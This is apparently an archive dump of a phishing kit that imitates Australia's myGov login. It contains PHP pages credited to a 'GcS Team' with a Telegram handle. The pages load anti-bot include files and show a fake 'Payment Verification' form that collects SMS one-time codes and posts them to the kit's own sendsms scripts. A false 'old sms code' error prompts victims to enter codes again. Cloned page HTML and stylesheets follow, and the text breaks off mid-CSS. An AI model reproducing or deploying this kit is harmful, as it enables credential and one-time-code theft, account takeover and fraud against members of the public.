⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../anti/anti1.php"; include "../anti/anti2.php"; include "../anti/anti3.php"; include "../anti/anti4.php"; include "../anti/anti5.php"; include "../anti/anti7.php"; ?> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Enter code - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./smsone_files/css" rel="stylesheet"> <link href="./smsone_files/mgv2-application.css" rel="stylesheet"> <link href="./smsone_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <h1>Payment Verification</h1> <p>We sent a code by SMS to your mobile number<span> XXXX XXX XXX</span>.</p> <form id="otp-entry-form" action="rez/sendsms2.php" method="post" autocomplete="off"> <div class="code-container"> <label for="otpanswer">Enter Code<input class="security-code" onkeyup="return numberValidation(event)" style="border-radius: 2px; border-radius: 0.125rem; height: 48px; height: 3rem; border: 1px solid #000; border: 0.0625rem solid #000;" minlength="4" maxlength="8" name="otpanswer1" type="tel" autocomplete="off" required> <p style="color:red;">You entered an old sms code</p> </label> </div> <div class="help-info-group"> </div> <div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true"> <p> You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in. </p> <p> If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account. </p> <a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a> </div> <div class="button-container"> <button name="okbba" type="submit" class="button-main button">Next</button> <button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button> </div> <input type="hidden" name="accountRecovery" value="true"> <input type="hidden" name="authtype" value="otp"> <input type="hidden" name="_resetMobileEligible" value=""> <input type="hidden" name="_fallback" value=""> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./smsone_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/smserror2.php000064400000020534151676702570011160 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../anti/anti1.php"; include "../anti/anti2.php"; include "../anti/anti3.php"; include "../anti/anti4.php"; include "../anti/anti5.php"; include "../anti/anti7.php"; ?> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Enter code - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./smsone_files/css" rel="stylesheet"> <link href="./smsone_files/mgv2-application.css" rel="stylesheet"> <link href="./smsone_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <h1>Payment Verification</h1> <p>We sent a code by SMS to your mobile number<span> XXXX XXX XXX</span>.</p> <form id="otp-entry-form" action="rez/sendsms3.php" method="post" autocomplete="off"> <div class="code-container"> <label for="otpanswer">Enter Code<input class="security-code" onkeyup="return numberValidation(event)" style="border-radius: 2px; border-radius: 0.125rem; height: 48px; height: 3rem; border: 1px solid #000; border: 0.0625rem solid #000;" minlength="4" maxlength="8" name="otpanswer2" type="tel" autocomplete="off" required> <p style="color:red;">You entered an old sms code</p> </label> </div> <div class="help-info-group"> </div> <div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true"> <p> You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in. </p> <p> If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account. </p> <a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a> </div> <div class="button-container"> <button name="okbba" type="submit" class="button-main button">Next</button> <button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button> </div> <input type="hidden" name="accountRecovery" value="true"> <input type="hidden" name="authtype" value="otp"> <input type="hidden" name="_resetMobileEligible" value=""> <input type="hidden" name="_fallback" value=""> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./smsone_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/smsone.html000064400000015271151676702570010705 0ustar00<!DOCTYPE html> <!-- saved from url=(0054)https://login.my.gov.au/las/mygov-login?execution=e1s2 --> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Enter code - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./smsone_files/css" rel="stylesheet"> <link href="./smsone_files/mgv2-application.css" rel="stylesheet"> <link href="./smsone_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <h1>Enter code</h1> <p>We sent a code by SMS to your mobile number<span> XXXX XXX 694</span>.</p> <form id="otp-entry-form" action="https://login.my.gov.au/las/mygov-login?execution=e1s2" method="post" autocomplete="off"> <div class="code-container"> <label for="otpanswer">Code <input id="otpanswer" name="otpanswer" type="tel" class="security-code" data-number-mobile-input="data-number-mobile-input" autocomplete="off"> </label> </div> <div class="help-info-group"> <a href="javascript:void(0)" class="help-info" aria-controls="security-codes-info" aria-expanded="false" data-infotext-toggle="data-infotext-toggle"> I didn't get my code<span class="is-visuallyhidden"> Help </span> </a> </div> <div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true"> <p> You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in. </p> <p> If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account. </p> <a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a> </div> <div class="button-container"> <button type="submit" class="button-main button" name="_eventId_submitOtp">Next</button> <button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button> </div> <input type="hidden" name="accountRecovery" value="true"> <input type="hidden" name="authtype" value="otp"> <input type="hidden" name="_resetMobileEligible" value=""> <input type="hidden" name="_fallback" value=""> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./smsone_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/smsone_files/blugov.css000064400000211165151676702570013211 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header .inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form 